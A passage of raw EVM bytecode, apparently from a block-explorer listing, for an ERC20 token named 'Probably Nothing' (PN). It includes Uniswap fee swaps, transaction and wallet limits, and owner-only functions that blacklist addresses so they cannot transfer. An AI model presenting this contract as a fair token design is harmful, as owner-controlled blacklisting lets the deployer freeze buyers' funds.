fff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246990919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611eda848661241f90919063ffffffff16565b604051611ee79190612712565b60405180910390a36000811115611ff357611f4a81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246990919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611fea9190612712565b60405180910390a35b50505050565b6000838311158290612041576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203891906125c3565b60405180910390fd5b506000838561205091906133f0565b9050809150509392505050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612095576120946127bc565b5b6040519080825280602002602001820160405280156120c35781602001602082028036833780820191505090505b50905030816000815181106120db576120da612c52565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612182573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121a69190612d4a565b816001815181106121ba576121b9612c52565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061222130601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461143d565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016122859594939291906134e2565b600060405180830381600087803b15801561229f57600080fd5b505af11580156122b3573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561233e573d6000803e3d6000fd5b5050565b600080830361235457600090506123b6565b600082846123629190612b8c565b9050828482612371919061356b565b146123b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123a89061360e565b60405180910390fd5b809150505b92915050565b60006123fe83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506124c7565b905092915050565b60008183116124155782612417565b815b905092915050565b600061246183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ff9565b905092915050565b6000808284612478919061332e565b9050838110156124bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124b49061367a565b60405180910390fd5b8091505092915050565b6000808311829061250e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250591906125c3565b60405180910390fd5b506000838561251d919061356b565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612564578082015181840152602081019050612549565b83811115612573576000848401525b50505050565b6000601f19601f8301169050919050565b60006125958261252a565b61259f8185612535565b93506125af818560208601612546565b6125b881612579565b840191505092915050565b600060208201905081810360008301526125dd818461258a565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612624826125f9565b9050919050565b61263481612619565b811461263f57600080fd5b50565b6000813590506126518161262b565b92915050565b6000819050919050565b61266a81612657565b811461267557600080fd5b50565b60008135905061268781612661565b92915050565b600080604083850312156126a4576126a36125ef565b5b60006126b285828601612642565b92505060206126c385828601612678565b9150509250929050565b60008115159050919050565b6126e2816126cd565b82525050565b60006020820190506126fd60008301846126d9565b92915050565b61270c81612657565b82525050565b60006020820190506127276000830184612703565b92915050565b600080600060608486031215612746576127456125ef565b5b600061275486828701612642565b935050602061276586828701612642565b925050604061277686828701612678565b9150509250925092565b600060ff82169050919050565b61279681612780565b82525050565b60006020820190506127b1600083018461278d565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6127f482612579565b810181811067ffffffffffffffff82111715612813576128126127bc565b5b80604052505050565b60006128266125e5565b905061283282826127eb565b919050565b600067ffffffffffffffff821115612852576128516127bc565b5b602082029050602081019050919050565b600080fd5b600061287b61287684612837565b61281c565b9050808382526020820190506020840283018581111561289e5761289d612863565b5b835b818110156128c757806128b38882612642565b8452602084019350506020810190506128a0565b5050509392505050565b600082601f8301126128e6576128e56127b7565b5b81356128f6848260208601612868565b91505092915050565b600060208284031215612915576129146125ef565b5b600082013567ffffffffffffffff811115612933576129326125f4565b5b61293f848285016128d1565b91505092915050565b60006020828403121561295e5761295d6125ef565b5b600061296c84828501612642565b91505092915050565b61297e81612619565b82525050565b60006020820190506129996000830184612975565b92915050565b600080604083850312156129b6576129b56125ef565b5b60006129c485828601612642565b92505060206129d585828601612642565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115612a6557808604811115612a4157612a406129df565b5b6001851615612a505780820291505b8081029050612a5e85612a0e565b9450612a25565b94509492505050565b600082612a7e5760019050612b3a565b81612a8c5760009050612b3a565b8160018114612aa25760028114612aac57612adb565b6001915050612b3a565b60ff841115612abe57612abd6129df565b5b8360020a915084821115612ad557612ad46129df565b5b50612b3a565b5060208310610133831016604e8410600b8410161715612b105782820a905083811115612b0b57612b0a6129df565b5b612b3a565b612b1d8484846001612a1b565b92509050818404811115612b3457612b336129df565b5b81810290505b9392505050565b6000612b4c82612657565b9150612b5783612780565b9250612b847fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612a6e565b905092915050565b6000612b9782612657565b9150612ba283612657565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612bdb57612bda6129df565b5b828202905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612c1c602083612535565b9150612c2782612be6565b602082019050919050565b60006020820190508181036000830152612c4b81612c0f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612c8c82612657565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612cbe57612cbd6129df565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612cff601783612535565b9150612d0a82612cc9565b602082019050919050565b60006020820190508181036000830152612d2e81612cf2565b9050919050565b600081519050612d448161262b565b92915050565b600060208284031215612d6057612d5f6125ef565b5b6000612d6e84828501612d35565b91505092915050565b6000604082019050612d8c6000830185612975565b612d996020830184612975565b9392505050565b6000819050919050565b6000819050919050565b6000612dcf612dca612dc584612da0565b612daa565b612657565b9050919050565b612ddf81612db4565b82525050565b600060c082019050612dfa6000830189612975565b612e076020830188612703565b612e146040830187612dd6565b612e216060830186612dd6565b612e2e6080830185612975565b612e3b60a0830184612703565b979650505050505050565b600081519050612e5581612661565b92915050565b600080600060608486031215612e7457612e736125ef565b5b6000612e8286828701612e46565b9350506020612e9386828701612e46565b9250506040612ea486828701612e46565b9150509250925092565b6000604082019050612ec36000830185612975565b612ed06020830184612703565b9392505050565b612ee0816126cd565b8114612eeb57600080fd5b50565b600081519050612efd81612ed7565b92915050565b600060208284031215612f1957612f186125ef565b5b6000612f2784828501612eee565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612f8c602483612535565b9150612f9782612f30565b604082019050919050565b60006020820190508181036000830152612fbb81612f7f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061301e602283612535565b915061302982612fc2565b604082019050919050565b6000602082019050818103600083015261304d81613011565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006130b0602583612535565b91506130bb82613054565b604082019050919050565b600060208201905081810360008301526130df816130a3565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613142602383612535565b915061314d826130e6565b604082019050919050565b6000602082019050818103600083015261317181613135565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006131d4602983612535565b91506131df82613178565b604082019050919050565b60006020820190508181036000830152613203816131c7565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b600061328c604983612535565b91506132978261320a565b606082019050919050565b600060208201905081810360008301526132bb8161327f565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b60006132f8601983612535565b9150613303826132c2565b602082019050919050565b60006020820190508181036000830152613327816132eb565b9050919050565b600061333982612657565b915061334483612657565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613379576133786129df565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b60006133ba601a83612535565b91506133c582613384565b602082019050919050565b600060208201905081810360008301526133e9816133ad565b9050919050565b60006133fb82612657565b915061340683612657565b925082821015613419576134186129df565b5b828203905092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61345981612619565b82525050565b600061346b8383613450565b60208301905092915050565b6000602082019050919050565b600061348f82613424565b613499818561342f565b93506134a483613440565b8060005b838110156134d55781516134bc888261345f565b97506134c783613477565b9250506001810190506134a8565b5085935050505092915050565b600060a0820190506134f76000830188612703565b6135046020830187612dd6565b81810360408301526135168186613484565b90506135256060830185612975565b6135326080830184612703565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061357682612657565b915061358183612657565b9250826135915761359061353c565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006135f8602183612535565b91506136038261359c565b604082019050919050565b60006020820190508181036000830152613627816135eb565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613664601b83612535565b915061366f8261362e565b602082019050919050565b6000602082019050818103600083015261369381613657565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220931a76f399f8885dbc4c9a442190d19cb63d0c81161824f9e994db14a7670a0b64736f6c634300080f0033
Deployed Bytecode
0x6080604052600436106101855760003560e01c80637d1db4a5116100d1578063b09f12661161008a578063c9567bf911610064578063c9567bf91461055f578063d28d885214610576578063d34628cc146105a1578063dd62ed3e146105ca5761018c565b8063b09f1266146104de578063bf474bed14610509578063c876d0b9146105345761018c565b80637d1db4a5146103ca5780638da5cb5b146103f55780638f9a55c01461042057806395d89b411461044b578063a9059cbb14610476578063af465a27146104b35761018c565b8063313ce5671161013e57806351bc3c851161011857806351bc3c851461034857806370a082311461035f578063715018a61461039c578063751039fc146103b35761018c565b8063313ce567146102b757806331c2d847146102e25780633bbac5791461030b5761018c565b806306fdde0314610191578063095ea7b3146101bc5780630faee56f146101f957806318160ddd1461022457806323b872dd1461024f57806327b1a8e91461028c5761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610607565b6040516101b391906125c3565b60405180910390f35b3480156101c857600080fd5b506101e360048036038101906101de919061268d565b610644565b6040516101f091906126e8565b60405180910390f35b34801561020557600080fd5b5061020e610662565b60405161021b9190612712565b60405180910390f35b34801561023057600080fd5b50610239610668565b6040516102469190612712565b60405180910390f35b34801561025b57600080fd5b506102766004803603810190610271919061272d565b61068b565b60405161028391906126e8565b60405180910390f35b34801561029857600080fd5b506102a1610764565b6040516102ae9190612712565b60405180910390f35b3480156102c357600080fd5b506102cc61076a565b6040516102d9919061279c565b60405180910390f35b3480156102ee57600080fd5b50610309600480360381019061030491906128ff565b610773565b005b34801561031757600080fd5b50610332600480360381019061032d9190612948565b61089d565b60405161033f91906126e8565b60405180910390f35b34801561035457600080fd5b5061035d6108f3565b005b34801561036b57600080fd5b5061038660048036038101906103819190612948565b61092f565b6040516103939190612712565b60405180910390f35b3480156103a857600080fd5b506103b1610978565b005b3480156103bf57600080fd5b506103c8610acb565b005b3480156103d657600080fd5b506103df610c13565b6040516103ec9190612712565b60405180910390f35b34801561040157600080fd5b5061040a610c19565b6040516104179190612984565b60405180910390f35b34801561042c57600080fd5b50610435610c42565b6040516104429190612712565b60405180910390f35b34801561045757600080fd5b50610460610c48565b60405161046d91906125c3565b60405180910390f35b34801561048257600080fd5b5061049d6004803603810190610498919061268d565b610c85565b6040516104aa91906126e8565b60405180910390f35b3480156104bf57600080fd5b506104c8610ca3565b6040516104d59190612712565b60405180910390f35b3480156104ea57600080fd5b506104f3610cc2565b60405161050091906125c3565b60405180910390f35b34801561051557600080fd5b5061051e610cfb565b60405161052b9190612712565b60405180910390f35b34801561054057600080fd5b50610549610d01565b60405161055691906126e8565b60405180910390f35b34801561056b57600080fd5b50610574610d14565b005b34801561058257600080fd5b5061058b61124b565b60405161059891906125c3565b60405180910390f35b3480156105ad57600080fd5b506105c860048036038101906105c391906128ff565b611284565b005b3480156105d657600080fd5b506105f160048036038101906105ec919061299f565b6113ae565b6040516105fe9190612712565b60405180910390f35b60606040518060400160405280601081526020017f50726f6261626c79204e6f7468696e6700000000000000000000000000000000815250905090565b6000610658610651611435565b848461143d565b6001905092915050565b600f5481565b60006009600a6106789190612b41565b620f42406106869190612b8c565b905090565b6000610698848484611606565b610759846106a4611435565b6107548560405180606001604052806028815260200161369b60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061070a611435565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ff99092919063ffffffff16565b61143d565b600190509392505050565b600b5481565b60006009905090565b61077b611435565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610808576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ff90612c32565b60405180910390fd5b60005b81518110156108995760006004600084848151811061082d5761082c612c52565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061089190612c81565b91505061080b565b5050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60006108fe3061092f565b90506000811115610913576109128161205d565b5b6000479050600081111561092b5761092a816122d6565b5b5050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610980611435565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0490612c32565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610ad3611435565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5790612c32565b60405180910390fd5b6009600a610b6e9190612b41565b620f4240610b7c9190612b8c565b600c819055506009600a610b909190612b41565b620f4240610b9e9190612b8c565b600d819055506000600660006101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610bee9190612b41565b620f4240610bfc9190612b8c565b604051610c099190612712565b60405180910390a1565b600c5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600d5481565b60606040518060400160405280600281526020017f504e000000000000000000000000000000000000000000000000000000000000815250905090565b6000610c99610c92611435565b8484611606565b6001905092915050565b6009600a610cb19190612b41565b620f4240610cbf9190612b8c565b81565b6040518060400160405280600281526020017f504e00000000000000000000000000000000000000000000000000000000000081525081565b600e5481565b600660009054906101000a900460ff1681565b610d1c611435565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610da9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da090612c32565b60405180910390fd5b601160149054906101000a900460ff1615610df9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df090612d15565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e9630601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610e839190612b41565b620f4240610e919190612b8c565b61143d565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f03573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f279190612d4a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fb0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fd49190612d4a565b6040518363ffffffff1660e01b8152600401610ff1929190612d77565b6020604051808303816000875af1158015611010573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110349190612d4a565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306110bd3061092f565b6000806110c8610c19565b426040518863ffffffff1660e01b81526004016110ea96959493929190612de5565b60606040518083038185885af1158015611108573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061112d9190612e5b565b5050506001601160166101000a81548160ff0219169083151502179055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611205929190612eae565b6020604051808303816000875af1158015611224573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112489190612f03565b50565b6040518060400160405280601081526020017f50726f6261626c79204e6f7468696e670000000000000000000000000000000081525081565b61128c611435565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090612c32565b60405180910390fd5b60005b81518110156113aa5760016004600084848151811061133e5761133d612c52565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806113a290612c81565b91505061131c565b5050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036114ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a390612fa2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361151b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151290613034565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115f99190612712565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611675576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166c906130c6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116db90613158565b60405180910390fd5b60008111611727576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171e906131ea565b60405180910390fd5b6000611731610c19565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561179f575061176f610c19565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611d3c57600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118485750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61185157600080fd5b601160159054906101000a900460ff166118a4576118a16064611893600954600b541161188057600754611884565b6008545b8561234290919063ffffffff16565b6123bc90919063ffffffff16565b90505b600660009054906101000a900460ff1615611a3157601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119655750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611a305743600560003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e2906132a2565b60405180910390fd5b43600560003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611adc5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b325750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611bed57600c54821115611b7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b739061330e565b60405180910390fd5b600d5482611b898561092f565b611b93919061332e565b1115611bd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bcb906133d0565b60405180910390fd5b600b6000815480929190611be790612c81565b91905055505b6000611bf83061092f565b9050601160159054906101000a900460ff16158015611c655750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611c7d5750601160169054906101000a900460ff165b8015611c8a5750600e5481115b8015611c995750600a54600b54115b15611cd557611cbb611cb684611cb184600f54612406565b612406565b61205d565b60004790506000811115611cd357611cd2476122d6565b5b505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611d3a576050600b5410611d3957600080fd5b5b505b611d8e82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241f90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e35611de7828461241f90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246990919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611eda848661241f90919063ffffffff16565b604051611ee79190612712565b60405180910390a36000811115611ff357611f4a81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246990919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611fea9190612712565b60405180910390a35b50505050565b6000838311158290612041576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203891906125c3565b60405180910390fd5b506000838561205091906133f0565b9050809150509392505050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612095576120946127bc565b5b6040519080825280602002602001820160405280156120c35781602001602082028036833780820191505090505b50905030816000815181106120db576120da612c52565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612182573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121a69190612d4a565b816001815181106121ba576121b9612c52565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061222130601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461143d565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016122859594939291906134e2565b600060405180830381600087803b15801561229f57600080fd5b505af11580156122b3573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561233e573d6000803e3d6000fd5b5050565b600080830361235457600090506123b6565b600082846123629190612b8c565b9050828482612371919061356b565b146123b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123a89061360e565b60405180910390fd5b809150505b92915050565b60006123fe83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506124c7565b905092915050565b60008183116124155782612417565b815b905092915050565b600061246183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ff9565b905092915050565b6000808284612478919061332e565b9050838110156124bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124b49061367a565b60405180910390fd5b8091505092915050565b6000808311829061250e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250591906125c3565b60405180910390fd5b506000838561251d919061356b565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612564578082015181840152602081019050612549565b83811115612573576000848401525b50505050565b6000601f19601f8301169050919050565b60006125958261252a565b61259f8185612535565b93506125af818560208601612546565b6125b881612579565b840191505092915050565b600060208201905081810360008301526125dd818461258a565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612624826125f9565b9050919050565b61263481612619565b811461263f57600080fd5b50565b6000813590506126518161262b565b92915050565b6000819050919050565b61266a81612657565b811461267557600080fd5b50565b60008135905061268781612661565b92915050565b600080604083850312156126a4576126a36125ef565b5b60006126b285828601612642565b92505060206126c385828601612678565b9150509250929050565b60008115159050919050565b6126e2816126cd565b82525050565b60006020820190506126fd60008301846126d9565b92915050565b61270c81612657565b82525050565b60006020820190506127276000830184612703565b92915050565b600080600060608486031215612746576127456125ef565b5b600061275486828701612642565b935050602061276586828701612642565b925050604061277686828701612678565b9150509250925092565b600060ff82169050919050565b61279681612780565b82525050565b60006020820190506127b1600083018461278d565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6127f482612579565b810181811067ffffffffffffffff82111715612813576128126127bc565b5b80604052505050565b60006128266125e5565b905061283282826127eb565b919050565b600067ffffffffffffffff821115612852576128516127bc565b5b602082029050602081019050919050565b600080fd5b600061287b61287684612837565b61281c565b9050808382526020820190506020840283018581111561289e5761289d612863565b5b835b818110156128c757806128b38882612642565b8452602084019350506020810190506128a